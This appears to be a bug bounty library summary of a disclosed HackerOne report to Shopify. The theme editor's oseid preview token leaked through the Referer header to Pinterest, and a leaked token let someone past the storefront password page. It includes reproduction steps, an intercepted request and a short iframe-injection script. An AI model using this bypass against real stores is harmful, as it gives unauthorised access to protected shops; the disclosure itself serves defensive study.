# Theme editor `oseid` parameter is leaked to third-party services through the `Referer` header which leads to somekind of storefront password bypass.

Theme editor oseid token leaked via Referer header to third-party social sharer, letting an attacker bypass storefront password protection via iframe.

- Payout: $500
- Severity: low
- Program: Shopify
- Found by: saltymermaid
- Disclosed: 2022-07-11
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/1262434
- Library page: https://bugbountylibrary.com/r/h1%3A1262434
- Tags: area:web domain:web impact:internal-access kind:bounty platform:hackerone sev:low tech:payment technique:recon vuln:access-control vuln:auth-bypass vuln:info-disclosure

**Target:** Shopify theme editor preview / storefront password gate (oseid param)
**Root cause:** Theme editor preview requests to third-party social sharer endpoints include the oseid token in the Referer header because no Referrer-Policy is set, and the oseid token grants storefront access bypassing the password page.
**Steps:**
1. Enable storefront password on a shop with an active product.
2. In theme editor, preview Default product and click a social share icon (Pinterest).
3. Intercept the outbound request to pinterest.com; observe `Referer: https://{shop}.myshopify.com/products/example-t-shirt?oseid={oseid}`.
4. In incognito, load the password-protected storefront.
5. In console, inject an iframe with `src=https://{shopHandle}.myshopify.com/?oseid={oseid}`.
6. Navigate within the iframe to access the store past the password gate.
**How found:** Recalled a prior report from @francisbeaudoin about oseid leakage and report #997350, hypothesized the theme editor preview would also leak oseid via Referer to third-party sharers, then replicated the flow with Burp intercepting the Pinterest share request.
**Exploitation:** Attacker obtains the leaked oseid token (via third-party service logs or malicious insider) and loads the storefront with ?oseid= inside an iframe, bypassing the JS redirect to the password page and browsing the store.
**Insight:** Theme editor previews render storefront pages with privileged tokens in the URL; any outbound third-party request (social share, analytics, embeds) will carry that token in Referer unless Referrer-Policy is same-origin. Check preview/editor contexts for token leakage to external endpoints.

## Proof of concept (copied exactly from the original report)

**Intercepted Pinterest request leaking oseid via Referer**

```
GET /pin/create/button/?url=https://{shop}.myshopify.com/products/example-t-shirt&media=//cdn.shopify.com/s/files/1/0262/8304/9016/products/saltymermaid-avatar_f9d13a6b-bb24-4dd8-b611-70ad25dd2d24_1024x1024.png?v=1617650754&description=Example%20T-Shirt HTTP/1.1
	Host: pinterest.com
	Sec-Ch-Ua: "Chromium";v="91", " Not;A Brand";v="99"
	Sec-Ch-Ua-Mobile: ?0
	Upgrade-Insecure-Requests: 1
	User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
	Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
	Sec-Fetch-Site: cross-site
	Sec-Fetch-Mode: navigate
	Sec-Fetch-User: ?1
	Sec-Fetch-Dest: document
	Referer: https://{shop}.myshopify.com/products/example-t-shirt?oseid={oseid}
```

**Attacker iframe injection script using leaked oseid**

```
let shopHandle = 'victim-shop', oseid = 'oseid-1234';

	const iframe = document.createElement('iframe');	
	iframe.src = `https://${shopHandle}.myshopify.com/?oseid=${oseid}`;
	iframe.height = window.innerHeight;
	iframe.width = window.innerWidth;
	iframe.style.position = 'absolute';
	iframe.style.zIndex = '9001';
	iframe.style.top = iframe.style.left = 0; 

	document.querySelector('body').appendChild(iframe);
```

